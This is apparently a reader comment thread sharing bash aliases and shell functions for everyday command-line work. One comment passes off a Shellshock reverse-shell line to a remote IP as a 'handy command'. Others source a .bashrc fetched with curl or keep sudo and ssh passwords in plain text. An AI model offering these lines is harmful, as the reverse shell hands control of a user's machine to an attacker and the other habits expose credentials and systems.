I use cdbin to cd into a bin folder that is many subdirectories deep:
I can never remember the sync command.
I search the command history a lot:
My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.
I’m surprised that nobody else suggested these:
I find these aliases are helpful
alias up1="cd .." # edit multiple files split horizontally or vertically alias e="vim -o " alias E="vim -O " # directory-size-date (remove the echo/blank line if you desire) alias dsd="echo;ls -Fla" alias dsdm="ls -FlAh | more" # show directories only alias dsdd="ls -FlA | grep :*/" # show executables only alias dsdx="ls -FlA | grep *" # show non-executables alias dsdnx="ls -FlA | grep -v *" # order by date alias dsdt="ls -FlAtr " # dsd plus sum of file sizes alias dsdz="ls -Fla $1 $2 $3 $4 $5 | awk '{ print; x=x+$5 } END { print "total bytes = ",x }'" # only file without an extension alias noext='dsd | egrep -v ".|/"' # send pwd to titlebar in puttytel alias ttb='echo -ne "33]0;`pwd`07"' # send parameter to titlebar if given, else remove certain paths from pwd alias ttbx="titlebar" # titlebar if [ $# -lt 1 ] then ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'` else ttb=$1 fi echo -ne "33]0;`echo $ttb`07" alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`" alias info='clear;machine;pwd'A couple you might mind useful.
to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !
OMG! Thanks!
Wow!!!!! Cooooooooooool , A Big Thank You 🙂
Check this one: https://github.com/mooz/percol
Make ctrl+R better
You should check $EUID, not $UID, because if the effective user ID isn’t 0, you aren’t root, but if the real/saved user UID is 0, you can seteuid(0) to become root.
Reply to Tom (#42):
(1) Using `hg’ for `history –grep’ is probably not a good idea if you’re ever going to work with Mercurial SCM.
(2) Using sudo for `yum search’ is entirely pointless, you don’t need to be root to search the package cache.
alias up1="cd .." # edit multiple files split horizontally or vertically alias e="vim -o " alias E="vim -O " # directory-size-date (remove the echo/blank line if you desire) alias dsd="echo;ls -Fla" alias dsdm="ls -FlAh | more" # show directories only alias dsdd="ls -FlA | grep :*/" # show executables only alias dsdx="ls -FlA | grep *" # show non-executables alias dsdnx="ls -FlA | grep -v *" # order by date alias dsdt="ls -FlAtr " # dsd plus sum of file sizes alias dsdz="ls -Fla $1 $2 $3 $4 $5 | awk '{ print; x=x+$5 } END { print "total bytes = ",x }'" # only file without an extension alias noext='dsd | egrep -v ".|/"' # send pwd to titlebar in puttytel alias ttb='echo -ne "33]0;`pwd`07"' # send parameter to titlebar if given, else remove certain paths from pwd alias ttbx="titlebar" # titlebar if [ $# -lt 1 ] then ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'` else ttb=$1 fi echo -ne "33]0;`echo $ttb`07" alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`" alias info='clear;machine;pwd'I will add:
I’m surprised no one has mentioned:
alias ls=’ls -F’
It will show * after executables, / after directories and @ after links.
John (Ko),
The variations of dsd that I gave all include -F
Give them a try.
And for you vi(m) lovers out there, in my .bashrc:
set -o vi
esc j,k for searching history using vi semantics. edit line using w, dw, b, F or whatever other as if in vi. Occasionally need to watch that if in command mode, need to press i first so you can actually go back to inserting as opposed to not seeing anything as you attempt to type.
set -o emacs
to get back out of this mode if you want to restore it what others have used.
Here are some tidbits I’ve setup to help troubleshoot things quickly
This one pings a router quickly
This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping
This command which I just named ‘p’ will call ping and auto populate your current subnet. You’d call it like this to ping the router p 1
Quickly reload your .bashrc or .bash_profile
Clear xterm buffer cache
Contrary to the clear command that only cleans the visible terminal area. AFAIK It’s not an universal solution but it worths a try.
Edited by Admin as requested by OP.
alias clear=’printf “33c”‘
I have been using this concept for many years and still trying to perfect the methodology. My goals include minimal keystrokes and ease of use. I use double quotes in my alias defn even though single quote delimiters are the normal convention. I use ‘aa’ for “add alias.” It is always the first alias I create. Each job and each environ begin with ‘aa’ alias creation. My aliases have evolved into productized command line interfaces and have been adopted by many others over the years. http://www.iboa.us/iboaview.html
Well, after three more years, I now have a Git Hub site to share my efforts: https://github.com/dmeekabc
The auto-alias related efforts are included in the iboaUtils subdirectory.
Here is the direct link to the iboaUtils:
https://github.com/dmeekabc/tagaProductized/tree/master/iboaUtils
IBOA Auto Alias Utility Six (6) Core Aliases:
aa – Add Alias
ea – Edit Alias
ia – Insert Alias
iap – Insert Alias (P)revious
iapw – Insert Alias (P)revious (W)atch
ta – Trace Alias
Run the iboaInstall.sh file to install the utility including all of the user/group/system alias files.
https://github.com/dmeekabc/tagaProductized/blob/master/iboaUtils/iboaInstall.sh
Nowadays, git is so popular, we can not miss it
These are my git aliases
alias g=”git”
alias gr=”git rm -rf”
alias gs=”git status”
alias ga=”g add”
alias gc=”git commit -m”
alias gp=”git push origin master”
alias gl=”git pull origin master”
alias sd=”echo michoser | sudo -S”
alias ai=”sd apt-get –yes install”
alias as=”apt-cache search”
alias ar=”sd apt-get –yes remove”
alias .p=”pushd .”
alias p.=”popd”
Regarding the cd aliases (#2), you can use the autocd bash option (run ‘shopt -s autocd’) to change directories without using cd. Then, you can just type ‘..’ to go up one directory, or ‘../..’ to go up 2 directories, or type the (relative) path of any directory to go to it. Another trick is to set the CDPATH environment variable. This will let you easily change to directories in a commonly used sub-directories such as your home directory. For example, if you set the CDPATH to ‘.:$HOME’ (run ‘export CDPATH=.:$HOME’), then run ‘cd Documents’ you will change directories to the Documents/ directory in your home directory, no matter what directory you are currently in (unless your current directory also has a documents/ directory in it).
I don’t use aliases. As the bash man page says:
“For almost every purpose, aliases are superseded by shell functions.”
At the top of my .bashrc I have ‘unalias -a’ to get rid of any misguided aliases installed by /etc/profile.
Interesting comment, Chris. I decided it would be an interesting experiment to try to take some of these alias ideas and convert them to functions. When I tried on the one called “fastping” I couldn’t seem to make it work. Ideas?
Aliases are handy and quicker to set up than functions. I guess you could argue that if your fluent with `history` you don’t necessarily need aliases and aliases will not be available if your working on someone else’s box, but I think a combination makes perfect sense, their quick 🙂
Who says you can’t use your own aliases when working on a box?
. <(curl -sS domain.tld/scripts/.bashrc)
This is completely brilliant – I am implementing it now.
Also, I completely agree with whoever said aliasing rm is a very bad idea. I don’t think it’s a good idea to use any alias that can get you into trouble if the alias is not defined.
Finally, I think it’s a very good idea not to define any alias that will hinder your recall of the command should you be in a situation where you don’t have access to the alias. A job interview being the most important scenario. You can only smugly answer questions with ‘no, I don’t know the options to that command, because I define an alias so I don’t have to remember’ so many times before they conclude you don’t know what you’re talking about.
Rotty
The aliases that I use the most (also a lot of shell functions):
alias j=’jobs -l’
alias h=’history’
alias la=’ls -aF’
alias lsrt=’ls -lrtF’
alias lla=’ls -alF’
alias ll=’ls -lF’
alias ls=’ls -F’
alias pu=pushd
alias pd=popd
alias r=’fc -e -‘ # typing ‘r’ ‘r’epeats the last command
Sizes of the directories in the current directory
alias size=’du -h –max-depth=1′
Useful alias. Thanks mates.
I find the following useful too
alias tf='tail -f ' # grep in *.cpp files alias findcg='find . -iname "*.cpp" | xargs grep -ni --color=always ' # grep in *.cpp files alias findhg='find . -iname "*.h" | xargs grep -ni --color=always ' #finds that help me cleanup when hit the limits alias bigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( $1 > 5000) print $0 }'" alias verybigfiles="find . -type f 2>/dev/null | xargs du -a 2>/dev/null | awk '{ if ( $1 > 500000) print $0 }'" #show only my procs alias psme='ps -ef | grep $USER --color=always 'Very nice alias list.
Here’s another very handy alias:
ex: looking for all samb processes:
Try this one instead. It will remove the search from your results
Here is the most important alias:
alias exiy=’exit’
I did learn some new things. Thanks for that.
Regarding:
# Do not wait interval 1 second, go fast #
alias fastping=’ping -c 100 -s.2′
From reading the man page i gather the ‘-s’ should be ‘-i’ instead.
ping(8):
-s packetsize
Specifies the number of data bytes to be sent.
-i interval
Wait interval seconds between sending each packet. The
default is to wait for one second between each packet
normally, or not to wait in flood mode. Only super-user
may set interval to values less 0.2 seconds.
Back Up [function, not alias] – Copy a file to the current directory with today’s date automatically appended to the end.
bu() { cp $@ $@.backup-`date +%y%m%d`; }Add to .bashrc or .profile and type: “bu filename.txt”
–
I made this a long time ago and use it daily. If you really want to stay on top of your backed up files, you can keep a log by adding something like:
bu() { cp $@ $@.backup-`date +%y%m%d`; echo "`date +%Y-%m-%d` backed up $PWD/$@" >> ~/.backups.log; }I hope someone finds this helpful!
i did!
thanks a lot
Excellent idea, Thomas!
Great idea! Will add this one to my aliases!
Is there a specific reason to use $@ instead of $1?
I also added quotes around the parameters, otherwise it won’t work with file names that include whitespace, I have it like this now:
Brilliant. Thanks.
I use this before I edit any config file I might need/want to change back later.
I also added %H%M%S so I can save a copy each time without dupe file names.
Thanks again.
I suppose one could also include something like this in an alias for vi to automatically create a backup file before launching vi…hmmmm….
I am learning to love simple functions in .bashrc
mcd () {
mkdir -p $1;
cd $1
}
But the great aliases are in the cmd prompt under windoze:
run doskey /macrofile=doskey.mac
then set up a doskey,mac in root directory with the CORRECT commands
ls=dir $* /o/w
cat=type $*
rm=del $*
lsl=dir $* /o/p
quit=exit
yes, I have to work in the sludgepit, but I can fix the command set
Since I work in a number of different distributions, I concatenated 17 and 18:
case $(lsb_release -i | awk ‘{ print $3 }’) in
Ubuntu|Debian)
alias apt-get=”sudo apt-get”
alias updatey=”sudo apt-get –yes”
alias update=’sudo apt-get update && sudo apt-get upgrade’
;;
CentOS|RedHatEnterpriseServer)
alias update=’yum update’
alias updatey=’yum -y update’
;;
esac
Of course you could add Fedora, Scientific Linux, etc, to the second one, but I don’t have either of those handy to get the output of lsb_release.
lsb_release is not installed everywhere following code works better for me
if cat /proc/version | grep -i -e ubuntu -e debian -e raspbian > /dev/null 2>&1 ; then alias update="sudo apt-get update && sudo apt-get upgrade"; elif cat /proc/version | grep -i -e centos -e redhatenterpriseserver -e fedora > /dev/null 2>&1 ; then alias update="sudo yum update"; fialias gtl=’git log’
alias gts=’git status’
I also have an function that does the same thing, and an alias for killing a process by pid. Then in my ps2 command I use ‘complete’ to add the pids to the completion list of my kill command so I can hit escape and it will fill in the rest. Better to show it than describe it:
Now I can do (for example):
Hey, very useful tips!
here’s mine:
chmoddr() { # CHMOD _D_irectory _R_ecursivly if [ -d "$1" ]; then echo "error: please use the mode first, then the directory"; return 1; elif [ -d "$2" ]; then find $2 -type d -print0 | xargs -0 chmod $1; fi } assimilate(){ _assimilate_opts=""; if [ "$#" -lt 1 ]; then echo "not enough arguments"; return 1; fi SSHSOCKET=~/.ssh/assimilate_socket.$1; echo "resistence is futile! $1 will be assimilated"; if [ "$2" != "" ]; then _assimilate_opts=" -p$2 "; fi ssh -M -f -N $_assimilate_opts -o ControlPath=$SSHSOCKET $1; if [ ! -S $SSHSOCKET ]; then echo "connection to $1 failed! (no socket)"; return 1; fi ### begin assimilation # copy files scp -o ControlPath=$SSHSOCKET ~/.bashrc $1:~; scp -o ControlPath=$SSHSOCKET -r ~/.config/htop $1:~; # import ssh key if [[ -z $(ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "grep -f - ~/.ssh/authorized_keys") ]]; then ssh -o ControlPath=$SSHSOCKET $1 "mkdir ~/.ssh > /dev/null 2>&1"; ssh-add -L > /dev/null&&ssh-add -L|ssh -o ControlPath=$SSHSOCKET $1 "cat >> ~/.ssh/authorized_keys" fi ssh -o ControlPath=$SSHSOCKET $1 "chmod -R 700 ~/.ssh"; ### END ssh -S $SSHSOCKET -O exit $1 2>1 >/dev/null; }Hey these are great guys. Thanks. Here are a few I started using recently ever since I discovered ‘watch’. I use for monitoring log tails and directory contents and sizes.
alias watchtail=’watch -n .5 tail -n 20′
alias watchdir=’watch -n .5 ls -la’
alias watchsize=’watch -n .5 du -h –max-depth=1′
I forgot that third one: I use for monitoring small directories ( < 100M ). This would choke on large directories. Just increase the watch interval if you need to watch larger directories. The default interval for watch is 2 seconds.
tail has a ‘watch’-like option, though it doesn’t refresh the screen like watch
tail -f -n 20 (though, really, the line number isn’t as necessary in tail -f as it is in watch)
I have the same “ll” alias, I use constantly. Here are a few others:
# grep all files in the current directory function _grin() { grep -rn --color $1 .;} alias grin=_grin # find file by name in current directory function _fn() { find . -name $1;} alias fn=_fnHi,
I published my .bashrc:
http://vanmontfort.be/pub/linux/.bashrc
Greetings,
Philip
i updated the link:
http://philip.vanmontfort.be/bestanden/linux/bashrc
three letters to tune into my favorite radio stations
sometimes I swap my keyboards, then I use
When using mplayer you may set bookmarks using ‘i’. You may read it easyer using
mplay() { export EDL=”$HOME/.mplayer/current.edl” /usr/local/bin/mplayer -really-quiet -edlout $EDL $* ; echo $(awk ‘{print $2 }’ $EDL | cut -d, -f1 | cut -d. -f1 ) }Buring ISO-images does not need starting GUIs and clicking around
Be aware the device must be adjusted. Not every default will fit for you to “isowrite /some/where/myimage.iso”.
Really useful command
In 30 years of living at the *nix commandline I found that I really only need 2 aliases
for my bash shell (used to be ksh, but that’s been a while)
when checking for servers and tcp ports for a non root user these are also handy
I have an alias question. I routinely want to copy files from various locations to a standard location. I want to alias that standard location so I can type:
alias mmm=”/standard/target/directory/”
cp /various/file/source mmm
but this doesn’t work: just creates a duplicate named mmm
Is there a way to do this?
tim
Add mmm to $HOME/.bashrc as follows:
Logout and login again. Verify that $mmm is set:
Now run the command:
HTH
Thank you very much!
Tim
thanks
Very nice and useful, thank you!
I can never remember the right flags to pass when extracting a tarball, so I have this custom alias:
I use this “alias” — its really a function — to do a quick check of JSON files on the command line:
function json() { cat “$@” | /usr/bin/python -m json.tool ;}
usage: json file.json
If all is well, it will print the JSON file to the screen. If there is an error in the file, the error is printed along with the offending line number.
Works great for quickly testing JSON files!
Nice list, this file is so great for repetitive tasks.
Here’s mine.
This is a great list most of my favorites have already been listed but this one hasn’t quite been included and i use more than any other, except maybe ‘lt’
Thanks to James from comment #28 it now doesn’t include the command its self in the list!
# grep command history. Uses function so a bare 'gh' doesn't just hang waiting for input. function gh () { if [ -z "$1" ]; then echo "Bad usage. try:gh run_test"; else history | egrep $* |grep -v "gh $*" fi }I also offer this modification to your #8
other favorites of mine, all taken from elsewhere, are:
# list file/folder sizes sorted from largest to smallest with human readable sizes
function dus () { du --max-depth=0 -k * | sort -nr | awk '{ if($1>=1024*1024) {size=$1/1024/1024; unit="G"} else if($1>=1024) {size=$1/1024; unit="M"} else {size=$1; unit="K"}; if(size<10) format="%.1f%s"; else format="%.0f%s"; res=sprintf(format,size,unit); printf "%-8s %sn",res,$2 }'the dus function is missing a proper ending. Add ; }
You want sort -h and du -h
du -h --max-depth=1 | sort -hSample output :
Alias the word unalias into a 65000 character long password… 🙂
Likewise alias bin.bash as $=unalias-1
So you are not truly lazy until you see this in somebody’s alias file
alias a=’alias’
🙂
TimC
It’s a bit off topic but the lack of a good command line trash can command has always seemed like a glaring omission to me.
I usually name it tcan or tcn.
http://wiki.linuxquestions.org/wiki/Scripting#Command_Line_Trash_Can
just use Ctrl-D
On OS-X 10.9 replace ‘ls –color=auto’ with ‘ls -G’
# Define a command to cd then print the resulting directory.
# I do this to avoid putting the current directory in my prompt.
alias cd=’cdir’
function cdir ()
{
cd “$*”
pwd
}
function mkcd(){
mkdir -p $1
cd $1
}
Lots of great suggestions here.
I use so many aliases and functions that I needed one to search them.
function ga() { alias | grep -i $*; functions | grep -i $*}
This is not so nice with multiple line functions and could be improved with a clever regex.
# Find a file from the current directory alias ff='find . -name ' # grep the output of commands alias envg='env | grep -i' alias psg='ps -eaf | head -1; ps -eaf | grep -v " grep " | grep -i' alias aliasg='alias | grep -i' alias hg='history | grep -i' # cd to the directory a symbolically linked file is in. function cdl { if [ "x$1" = "x" ] ; then echo "Missing Arg" elif [ -L "$1" ] ; then link=`/bin/ls -l $1 | tr -s ' ' | cut -d' ' -f10` if [ "x$link" = "x" ] ; then echo "Failed to get link" return fi dirName_=`dirname $link` cd "$dirName_" else echo "$1 is not a symbolic link" fi return } # cd to the dir that a file is found in. function cdff { filename=`find . -name $1 | grep -iv "Permission Denied" | head -1` if [ "xx${filename}xx" != "xxxx" ] ; then dirname=${filename%/*} if [ -d $dirname ] ; then cd $dirname fi fi }export EDITOR=vim export PAGER=less set -o vi eval `resize` # awk tab delim (escape '' awk to disable aliased awk) tawk='awk -F "t" ' # case insensitive grep alias ig="grep --color -i " # ls sort by time alias lt="ls -ltr " # ls sort by byte size alias lS='ls -Slr' # ps by process grep (ie. psg chrome) alias psg='ps -ef|grep --color ' # ps by user alias psu='ps auxwwf ' # ps by user with grep (ie. psug budman) alias psug='psu|grep --color ' # find broken symlinks alias brokenlinks='find . -xtype l -printf "%p -> %ln"' # which and less a script (ie. ww backup.ksh) function ww { if [[ ! -z $1 ]];then _f=$(which $1);echo $_f;less $_f;fi } # use your own vim cfg (useful when logging in as other id's) alias vim="vim -u /home/budman/.vimrc"For those of you who use Autosys:
# alias to read log files based on current run date (great for batch autosys jobs) # ie. slog mars-reconcile-job-c export RUN_DIR=~/process/dates function getRunDate { print -n $(awk -F'"' '/^run_date=/{print $2}' ~/etc/run_profile) } function getLogFile { print -n $RUN_DIR/$(getRunDate)/log/$1.log } function showLogFile { export LOGFILE=$(getLogFile $1); print "nLog File: $LOGFILEn"; less -z-4 $LOGFILE; } alias slog="showLogFile " # Autosys alaises alias av="autorep -w -J " alias av0="autorep -w -L0 -J " alias avq="autorep -w -q -J " alias aq0="autorep -w -L0 -q -J " alias ava="autorep -w -D PRD_AUTOSYS_A -J " alias avc="autorep -w -D PRD_AUTOSYS_C -J " alias avt="autorep -w -D PRD_AUTOSYS_T -J " alias am="autorep -w -M " alias ad="autorep -w -d -J " alias jd="job_depends -w -c -J " alias jdd="job_depends -w -d -J " alias jrh="jobrunhist -J " alias fsjob="sendevent -P 1 -E FORCE_STARTJOB -J " alias startjob="sendevent -P 1 -E FORCE_STARTJOB -J " alias runjob="sendevent -P 1 -E STARTJOB -J " alias killjob="sendevent -P 1 -E KILLJOB -J " alias termjob="sendevent -P 1 -E KILLJOB -K 15 -J " alias onhold="sendevent -P 1 -E JOB_ON_HOLD -J " alias onice="sendevent -P 1 -E JOB_ON_ICE -J " alias offhold="sendevent -P 1 -E JOB_OFF_HOLD -J " alias office="sendevent -P 1 -E JOB_OFF_ICE -J " alias setsuccess="sendevent -P 1 -E CHANGE_STATUS -s SUCCESS -J " alias inactive="sendevent -P 1 -E CHANGE_STATUS -s INACTIVE -J " alias setterm="sendevent -P 1 -E CHANGE_STATUS -s TERMINATED -J " alias failed="njilgrep -npi -s FA $AUTOSYS_JOB_PREFIX" alias running="njilgrep -npi -s RU $AUTOSYS_JOB_PREFIX" alias iced="njilgrep -npi -s OI $AUTOSYS_JOB_PREFIX" alias held="njilgrep -npi -s OH $AUTOSYS_JOB_PREFIX"heres a few i use
alias killme='slay $USER' function gi(){ npm install --save-dev grunt-"$@" } function gci(){ npm install --save-dev grunt-contrib-"$@" }alias v='vim' alias vi='vim' alias e='emacs' alias t='tail -n200' alias h='head -n20' alias g='git' alias p='pushd' alias o='popd' alias d='dirs -v' alias rmf='rm -rf' # ls working colorful on all OS'es #linux if [[ `uname` == Linux ]]; then export LS1='--color=always' #mac elif [[ `uname` == Darwin* ]]; then export LS1='-G' #win/cygwin/other else export LS1='--color=auto' fi export LS2='-hF --time-style=long-iso' alias l='ls $LS1 $LS2 -AB'Here is one to do a update and upgrade with no user input. Just insert your sudo
password for yourpassword
alias udug=’echo yourpassword | sudo -S apt-get update && sudo apt-get upgrade -y’
Having your password lying around in plain text is never a good idea.
I am the only one who uses this computer. My daughter, granddaughter, daughter’s
boyfriend and my four dogs all use Windoz. They have no idea what a alias or a terminal is.
It is far better to put the commands into a setuid shell script, then you don’t have to EVER put your password into plaintext anywhere on UNIX / Linux:
echo "sudo -S apt-get update && sudo apt-get upgrade -y" > /tmp/udug ; sudo mv /tmp/udug /usr/bin/udugsudo chmod 755 /usr/bin/udug
sudo chmod u+s /usr/bin/udug
If you want to run apt-get without having to supply a sudo password, just edit the sudo config file to allow that. (Replace “jfb” in this example with your own login).
jfb ALL=(root) NOPASSWD: /usr/bin/apt-get
Hint: edit the config file with “sudo visudo”, not “sudo vim /etc/sudoers”. Visudo will check that you haven’t totally screwed up the config file before writing it out.
Hey, Just wanted to add my 5 cents.
I use this to make me think before rebooting/shutting down hosts;
alias reboot=’echo “Are you sure you want to reboot host `hostname` [y/N]?” && read reboot_answer && if [ “$reboot_answer” == y ]; then /sbin/reboot; fi’
alias shutdown=’echo “Are you sure you want to shutdown host `hostname` [y/N]?” && read shutdown_answer && if [ “$shutdown_answer” == y ]; then /sbin/shutdown -h now; fi’
Thank you. Great list.
#2: Control cd command behavior
## get rid of command not found ##
alias cd..=’cd ..’
## a quick way to get out of current directory ##
alias ..=’cd ..’
alias …=’cd ../../../’
alias ….=’cd ../../../../’
alias …..=’cd ../../../../’ <– typo, I think you meant to add an extra level of ../ to this!
alias .4='cd ../../../../'
alias .5='cd ../../../../..'
There’s another handy bash command I’ve come by recently in the past days.
() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/123.456.789.012/3333 0>&1shellshock douchebaggery
Here are a couple that I have to make installing software on Ubuntu easier:
Great list and comments. A minor nit, the nowtime alias has a typo that makes it not work. It needs a closing double quote.
# Find all IP addresses connected to your network
# See real time stamp when running dmesg
alias dmesg='dmesg|perl -ne "BEGIN{$a= time()- qx:cat /proc/uptime:};s/[s*(d+).d+]/localtime($1 + $a)/e; print $_;" | sed -e "s|(^.*"`date +%Y`" )(.*)|x1b[0;34m1x1b[0m - 2|g"'You know, instead of doing something silly like aliasing clear to c, you can just do ^L (control + L) instead…
# Nice readable way to see memory usage
# Need to figure out which drive your usb is assigned? Functions work the same way as an alias. Simply copy the line into your .profile/.bashrc file. Then type: myusb
myusb () { usb_array=();while read -r -d $'n'; do usb_array+=("$REPLY"); done < <(find /dev/disk/by-path/ -type l -iname *usb*scsi* -not -iname *usb*scsi*part* -print0 | xargs -0 -iD readlink -f D | cut -c 8) && for usb in "${usb_array[@]}"; do echo "USB drive assigned to sd$usb"; done; }And if you have zsh, you may want to give oh-my-zsh a try. It has a repo full of aliases.
Even if you do not have zsh you may still want to check it out as it has really nice aliases which are compatible with bash.
It’s a little bit dangerous to re-alias existing commands. Once I had trouble finding out why my shell script did not work. It was the coloured output of grep. So I changed my alias:
alias gr=”grep -E -i –color”
And remember the man page:
“For almost every purpose, aliases are superseded by shell functions.”
Got me a couple times too, wasted an awful amount of time on that.
I think if you use –color=auto, then the colors will only be applied when the output is a tty. However, I do agree that it’s a very bad idea to rename commands with aliases; it is much better to create your own command names such as ‘cgrep’ , ‘cfgrep’, ‘cegrep’, etc.
Is passing all commands via sudo safe?
Sometimes when working with text files this is quite helpful:
alias top10=”sort|uniq -c|sort -n -r|head -n 10″
# list usernames
alias lu=”awk -F: ‘{ print $1}’ /etc/passwd”
# better ls alias ls='ls -lAi --group-directories-first --color='always'' # make basic commands interactive and verbose alias cp='cp -iv' # interactive alias rm='rm -ri' # interactive alias mv='mv -iv' # interactive, verbose alias grep='grep -i --color='always'' # ignore case # starts nano with line number enabled alias nano='nano -c' # clear screen alias cl='clear' # shows the path variable alias path='echo -e ${PATH//:/\n}' # Filesystem diskspace usage alias dus='df -h' # quick ssh to raspberry pi alias raspi='ssh root@192.168.1.6' # perform 'ls' after 'rm' if successful. rmls() { rm "$*" RESULT=$? if [ "$RESULT" -eq 0 ]; then ls fi } alias rm='rmls' # reloads changes alias rfc='source ~/.bashrc; cl' alias rf='source ~/.bashrc' # perform 'ls' after 'cd' if successful. cdls() { builtin cd "$*" RESULT=$? if [ "$RESULT" -eq 0 ]; then ls fi } alias cd='cdls' # quick cd back option alias ..='cd ..' # search for a string recursively in any C source files alias src-grep='find . -name "*.[ch]" | xargs grep ' # for easily editting the path variable nanopath () { declare TFILE=/tmp/path.$LOGNAME.$$; echo $PATH | sed 's/^:/.:/;s/:$/:./' | sed 's/::/:.:/g' | tr ':' '12' > $TFILE; nano $TFILE; PATH=`awk ' { if (NR>1) printf ":" printf "%s",$1 }' $TFILE`; rm -f $TFILE; echo $PATH } alias nanopath='nanopath'Why on earth would you alias nanopath to nanopath ?
in my experiance it is esasier to put the scripts you want to use aliases for in your .bash_aliases file. like so
~/nano .bash_aliases rmls() { rm "$*" RESULT=$? if [ "$RESULT" -eq 0 ]; then ls fi }here is a function. and to make an alias for it is as simple as:
alias name=’functionName args’
so for my example function it would be
alias rm=’rmls’
Great list! There are certainly some I going to use!
I also have some that maybe are so obvious nobody even finds it worth mentioning…
Nice!
quick update bashrc etc:
alias bashrc="vim ~/.bashrc && source ~/.bashrc"#To play a random collection of music from your music library.#(You need to have VLC installed)
alias play='nvlc /media/myklmar/MUSIC/mymusic/ -Z'
Great!…Keep working
Doing update on Mageia linux
alias doupdate=”urpmi –auto –auto-update”
Whats the weather doing?
alias rain='curl -4 http://wttr.in'alias rain='curl -4 http://wttr.in/London'
Here is a repository with several useful aliases. You may want to have a look: https://github.com/algotech/dotaliases
Thanks.
Will the aliases appear using the “top” command?
How would like to see the alias name rather than the command name of the process. Is that possible?
Cheers.
Noop. It will show actual command in top or ps output.
One of my favorite: copy something from command line to clipboard:
alias c='xsel --clipboard'Then use like:
grep John file_for_contacts | cnow, john’s contact info is copied to the clipboard, etc.
alias s=”sshpass -p’mypassword’ ssh”
Some useful functions too
List files in order of ascending size (the second form takes a file-pattern argument):
function lsdu() { ls -l $* | sort --key=5.1 -n; };function lsduf() { ls -l | egrep $* | sort --key=5.1 -n; };
List the 10 most recently edited/changed files (m = more, a poor-man’s more)
alias lsm='ls -lt | head -n 10'List the tasks using the most CPU time
alias hogs='ps uxga | sort --key=4.1 -n'Sorry, typos and some new ones
alias hogs='ps uxga | sort --key=3.1 -n'alias sdiff='sdiff -w 240'
function pyloc() { egrep -v '^[ ]*(#|$dollar)' $* | wc; }; # count lines (python, sh)
function loc() { egrep -v '^[ ]*(//|/*|*|$dollar)' $* | wc; }; # count lines (c, c++)
Is there any option to enable confirmation for the rm -rf . We had an alias setup for rm=rm -i so whenever we delete a file it asks for confirmation but when -f flag is supplied it will not asks for confirmation.
So can you anyone please help to create function so that it ask confirmation for rm (Or rm -r) command with force flag that is for rm -f and rm -rf commands?
I like confirmation aliases. So good to avoid deleting file by accident.
To access a servers:
alias barney='ssh -i ~/.ssh/private.key debian@192.168.1.1'To replace all “:” of the name of the files in the folder that is running. It serves to synchronize with Dropbox in Windows. Screenshot 2017-01-01 01:02:03 -> Screenshot 2017-01-01 01 02 03:
alias renombrar="rename 'y/ :/ /' *"Great list!
I also have some that maybe are somebody finds interesting